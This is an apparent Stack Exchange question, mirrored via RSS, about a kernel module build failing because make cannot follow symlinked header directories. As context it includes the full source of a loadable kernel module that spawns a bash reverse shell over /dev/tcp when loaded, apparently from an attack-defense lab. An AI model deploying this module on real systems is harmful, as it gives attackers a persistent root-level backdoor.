Quantcast
Channel: Active questions tagged kernel-modules - Unix & Linux Stack Exchange
Viewing all articles
Browse latest Browse all 1183

Kernel module build can't find find symlink folders: Makefile: No such file or directory

$
0
0

I have a simple kernel module that creates a reverse shell.
I created my Makefile like that:

cat << EOF > Makefileobj-m +=${module_name}.oall:        make -C /lib/modules/$(uname -r)/build M=$(pwd) modulesclean:        make -C /lib/modules/$(uname -r)/build M=$(pwd) cleanEOF

But when I run the make command it fails:

root@ubuntu:~/moduletest# makemake -C /lib/modules/5.4.0-1045-aws/build M=/dev/shm/rev modulesmake[1]: Entering directory '/usr/src/linux-headers-5.4.0-1045-aws'make[1]: Makefile: No such file or directorymake[1]: *** No rule to make target 'Makefile'.  Stop.make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-1045-aws'Makefile:3: recipe for target 'all' failedmake: *** [all] Error 2

I checked for the folder:

/lib/modules/5.4.0-1045-aws/build

But it seems to be a symlink that refers to other symlink:

/lib/modules/5.4.0-1045-aws/build -> /usr/src/linux-headers-5.4.0-1045-aws -> ../linux-aws-headers-5.4.0-1045/Makefile

The last file ../linux-aws-headers-5.4.0-1045/Makefile is:

/usr/src/linux-aws-5.4-headers-5.4.0-1045/Makefile

Why the make command can't follow these links?

Resources:
My kernel module:

#include <linux/kmod.h>#include <linux/module.h>MODULE_LICENSE("GPL");MODULE_AUTHOR("AttackDefense");MODULE_DESCRIPTION("LKM reverse shell module");MODULE_VERSION("1.0");char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/127.0.0.1/8000 0>&1", NULL};static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };static int __init bobo_init(void) {return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);}static void __exit bobo_exit(void) {}module_init(bobo_init);module_exit(bobo_exit);

My Makefile after the creation of the variables:

obj-m +=bobo.oall:        make -C /lib/modules/5.4.0-1045-aws/build M=/dev/shm/rev modulesclean:        make -C /lib/modules/5.4.0-1045-aws/build M=/dev/shm/rev clean

Viewing all articles
Browse latest Browse all 1183

Trending Articles



<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>